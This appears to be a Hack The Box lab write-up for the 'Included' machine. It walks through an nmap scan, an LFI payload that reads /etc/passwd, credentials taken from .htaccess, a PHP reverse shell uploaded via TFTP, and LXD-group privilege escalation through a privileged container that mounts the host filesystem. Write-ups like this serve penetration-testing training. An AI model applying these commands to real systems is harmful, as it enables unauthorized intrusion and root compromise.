HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  • Enumeration
  • PHP Path Traversal
  • Initial Access
  • LXD Group Abuse to root
  1. Boxes: Very Easy

Included

Personal Rating: Easy

PreviousExplosionNextMarkup

Last updated 1 year ago

Enumeration

Running an initial nmap scan:

sudo nmap <IP>

80/tcp open  http 
68/udp open|filtered dhcpc 
69/udp open|filtered tftp

PHP Path Traversal

I quickly found an LFI approach

/script.php?page=../../../../../../etc/passwd

root:x:0:O:root:/root:/bin/bash
<SNIP>
mike:x: 1000: 1000:mike:/home/mike:/bin/bash
tftp:x:110:113:

So the first user seems to be 'mike'.

Since we have the tftp user and the port 69 open, I searched for the tftp default folder, which is /var/lib/tftpboot.

I tried some command executions using php wrappers with the LFI, but that didn't work.

Initial Access

I found mike's credentials in the file '.htaccess'.

Through the LFI I also found out that the user is a member of the lxd group, which opens up this privilege escalation path:

But first I have to get a shell. I uploaded a webshell using the tftp share:

Tftp 10.129.95.185 
> put php-reverse-shell.php 

I fetched the shell an upgraded it to a fully interactive one:

python3 –c 'import pty; pty.spawn("/bin/bash")'

LXD Group Abuse to root

I then used the tftp port to transfer an alpine linux container on to the host to exploit the lxd group.

Lxc init
Lxc import container –alias privesc 
Lxc image list 
Lxc init privesc privesc-container –c security.privileged=true //by default lxc spawns unprivileged containers and does UID mapping. With the option, UID 0 in the container is mapped to UID 0 on the host (root) 
Lxc config device add privesc-container mydevice disk source=/ path=/mnt/root recursive=true 
Lxc start privesc-container && lxc list
Lxc exec privesc-container /bin/sh

#    cat /mnt/root/root/root.txt 
http://10.129.174.35/?file=home.php10.129.174.35
Local File Inclusion (LFI) — Web Application Penetration TestingMedium
Logo